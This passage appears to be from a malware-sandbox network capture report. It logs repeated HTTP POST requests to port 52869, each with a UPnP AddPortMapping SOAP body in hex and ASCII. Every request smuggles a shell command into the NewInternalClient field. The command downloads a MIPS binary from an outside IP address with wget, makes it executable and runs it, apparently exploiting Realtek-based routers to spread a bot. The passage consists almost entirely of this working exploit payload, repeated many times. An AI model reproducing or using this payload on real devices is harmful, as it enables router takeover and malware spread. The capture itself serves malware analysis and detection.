6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:13.174937010 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:15.318799973 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:19.670782089 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:28.374474049 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      177192.168.2.154004045.192.202.24652869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:12.036554098 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:16.086822033 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:22.230676889 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
